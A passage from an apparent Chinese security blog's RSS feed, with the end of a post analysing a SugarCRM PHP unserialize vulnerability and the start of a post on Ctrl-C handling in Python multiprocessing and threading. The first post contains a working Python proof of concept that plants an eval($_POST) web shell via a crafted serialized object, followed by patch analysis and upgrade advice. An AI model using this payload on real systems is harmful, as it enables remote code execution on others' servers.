		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;file_put_contents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$context&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;函数并没有对文件内容或者扩展名等进行限制，虽然参数&lt;code class=&quot;highlighter-rouge&quot;&gt;$data&lt;/code&gt;是&lt;code class=&quot;highlighter-rouge&quot;&gt;serialize($this-&amp;gt;_localStore)&lt;/code&gt;，也就是序列化后的数据，但是我们可以设置&lt;code class=&quot;highlighter-rouge&quot;&gt;$_this-&amp;gt;_localStore&lt;/code&gt;为一个数组，把payload作为数组中的一个值，就可以完整保存payload。&lt;/p&gt;

&lt;p&gt;这样如果我们可以传入一个&lt;code class=&quot;highlighter-rouge&quot;&gt;SugarCacheFile&lt;/code&gt;对象并设置其属性的值，我们就可以写入文件。&lt;/p&gt;

&lt;p&gt;然而不巧的是，&lt;code class=&quot;highlighter-rouge&quot;&gt;__wakeup&lt;/code&gt;会在&lt;code class=&quot;highlighter-rouge&quot;&gt;__destroy&lt;/code&gt;之前调用，并且我们可以看到在&lt;code class=&quot;highlighter-rouge&quot;&gt;__wakeup&lt;/code&gt;中对所有对象属性进行了清除。&lt;/p&gt;

&lt;p&gt;那么该如何跨过这个限制呢？&lt;/p&gt;

&lt;p&gt;想必大家都已经知道了，就是利用我们上面说的PHP的漏洞来跳过&lt;code class=&quot;highlighter-rouge&quot;&gt;__wakeup&lt;/code&gt;的执行。&lt;/p&gt;

&lt;p&gt;最后，整个漏洞的流程如下：&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$_REQUEST['rest_data'] -&amp;gt; sugar_unserialize -&amp;gt; __destruct -&amp;gt; sugar_file_put_contents -&amp;gt; evil_file
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;PoC Demo如下：&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;requests&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;req&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'http://127.0.0.1:8788/service/v4/rest.php'&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;'method'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'login'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;'input_type'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'Serialize'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;'rest_data'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'O:+14:&quot;SugarCacheFile&quot;:23:{S:17:&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;00*&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;00_cacheFileName&quot;;s:15:&quot;../custom/1.php&quot;;S:16:&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;00*&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;00_cacheChanged&quot;;b:1;S:14:&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;00*&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;00_localStore&quot;;a:1:{i:0;s:29:&quot;&amp;lt;?php eval($_POST[&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\'&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;HHH&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\'&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;]); ?&amp;gt;&quot;;}}'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;脚本执行后shell位于custom/1.php：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-09-12-shell.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;4补丁分析&quot;&gt;4.补丁分析&lt;/h3&gt;

&lt;p&gt;在v6.5.24中，对&lt;code class=&quot;highlighter-rouge&quot;&gt;sugar_unserialize&lt;/code&gt;进行了如下改进：&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;sugar_unserialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;preg_match&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'/[oc]:[^:]*\d+:/i'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$matches&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$matches&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;unserialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;更改了正则表达式，使对象类型无法进行反序列化。&lt;/p&gt;

&lt;h2 id=&quot;0x02-修复方案&quot;&gt;0x02 修复方案&lt;/h2&gt;

&lt;p&gt;升级SugarCRM到v6.5.24&lt;/p&gt;

&lt;p&gt;升级php5到5.6.25及以上&lt;/p&gt;

&lt;p&gt;升级php7到7.0.10及以上&lt;/p&gt;

&lt;h2 id=&quot;0x03-参考&quot;&gt;0x03 参考&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://www.exploit-db.com/exploits/40344/&quot;&gt;https://www.exploit-db.com/exploits/40344/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://bugs.php.net/bug.php?id=72663&quot;&gt;https://bugs.php.net/bug.php?id=72663&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://php.net/manual/zh/function.serialize.php&quot;&gt;http://php.net/manual/zh/function.serialize.php&lt;/a&gt;&lt;/p&gt;
</description>
        <pubDate>Mon, 12 Sep 2016 00:00:00 +0000</pubDate>
        <link>http://imp0wd3r.github.io/2016/09/12/sugarcrm-unserialize.html</link>
        <guid isPermaLink="true">http://imp0wd3r.github.io/2016/09/12/sugarcrm-unserialize.html</guid>
        
        
      </item>
    
      <item>
        <title>Python并发编程中的KeyboardInterrupt</title>
        <description>&lt;h2 id=&quot;info&quot;&gt;Info&lt;/h2&gt;
&lt;p&gt;使用脚本程序时我们时常会用到&lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;Ctrl-c&amp;gt;&lt;/code&gt;触发&lt;code class=&quot;highlighter-rouge&quot;&gt;KeyboardInterrupt&lt;/code&gt;来进行退出，本文记录了在几种典型并发模型中实现此类退出的方式。&lt;/p&gt;

&lt;h3 id=&quot;基础知识&quot;&gt;基础知识&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;signal
    &lt;ul&gt;
      &lt;li&gt;信号是一种&lt;strong&gt;进程&lt;/strong&gt;间的通讯机制，&lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;Ctrl-c&amp;gt;&lt;/code&gt;实际上发出的是&lt;code class=&quot;highlighter-rouge&quot;&gt;SIGINT&lt;/code&gt;信号，用于终止进程的运行。需要注意的是，线程并不是处理信号的单元。&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;join
    &lt;ul&gt;
      &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;x.join()&lt;/code&gt;：阻塞调用该语句的线程/进程，直到&lt;code class=&quot;highlighter-rouge&quot;&gt;x&lt;/code&gt;执行结束。阻塞并不意味着不接收信号，只是直到阻塞结束再处理该信号。&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;multiprocessing&quot;&gt;multiprocessing&lt;/h3&gt;
&lt;p&gt;由于Python的GIL，多进程承担了更多的并发任务。&lt;/p&gt;

&lt;h4 id=&quot;0x00-缺陷方案&quot;&gt;0x00 缺陷方案&lt;/h4&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;multiprocessing&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Pool&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Pool&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;apply_async&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;handler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;KeyboardInterrupt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;terminate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'[-] main exit'&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;handler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;pass&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;KeyboardInterrupt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'[-] handler exit'&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__name__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'__main__'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;运行结果如下：&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;^&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;handler&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;handler&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;handler&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;^&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;handler&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;handler&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;handler&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;main&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;根据运行结果来看，&lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;Ctrl-c&amp;gt;&lt;/code&gt;发出的信号首先到达由子进程处理，待子进程处理完后父进程再处理，这是由于&lt;code class=&quot;highlighter-rouge&quot;&gt;p.join()&lt;/code&gt;阻塞了父进程，使信号不能第一时间被处理。在子进程结束后，&lt;code class=&quot;highlighter-rouge&quot;&gt;p.join()&lt;/code&gt;返回之前，主进程才处理接收到的信号。&lt;/p&gt;

&lt;p&gt;另外一点，实际上此次退出使用了两次&lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;Ctrl-c&amp;gt;&lt;/code&gt;，因为&lt;code class=&quot;highlighter-rouge&quot;&gt;Pool(3)&lt;/code&gt;规定了一次装载3个子进程，而我们的任务有6个。所以当第一次使用&lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;Ctrl-c&amp;gt;&lt;/code&gt;时实际上只是退出了3个子进程，第二次再退出3个后再退出父进程。那么当任务数远大于我们分配的子进程数时，这个方案就是不可行的。&lt;/p&gt;

&lt;h4 id=&quot;0x01-可行方案&quot;&gt;0x01 可行方案&lt;/h4&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Pool&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;r_list&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;r_list&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;apply_async&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;handler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r_list&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;KeyboardInterrupt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;terminate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'[-] main exit'&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;执行结果如下：&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;^&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;handler&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;handler&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;handler&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;main&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;当按下&lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;Ctrl-c&amp;gt;&lt;/code&gt;时，当前&lt;code class=&quot;highlighter-rouge&quot;&gt;Pool&lt;/code&gt;中的任务退出，相应的&lt;code class=&quot;highlighter-rouge&quot;&gt;r.get()&lt;/code&gt;得到返回，使&lt;code class=&quot;highlighter-rouge&quot;&gt;r.get()&lt;/code&gt;不再阻塞父进程，从而父进程得以处理之前得到的信号，程序退出。&lt;/p&gt;

&lt;p&gt;由于&lt;code class=&quot;highlighter-rouge&quot;&gt;r.get()&lt;/code&gt;对应的是任务，所以只要有一个任务结束父进程就可处理退出信号，所以不存在第一个方案的缺陷。&lt;/p&gt;

&lt;h3 id=&quot;threading&quot;&gt;threading&lt;/h3&gt;
&lt;p&gt;多线程在I/O密集型的任务中仍有很重要的地位，其利用如下方式实现&lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;Ctrl-c&amp;gt;&lt;/code&gt;退出：&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;thread_num&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;thread&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;threading&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Thread&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;thread_handler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;thread&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;daemon&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;thread&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
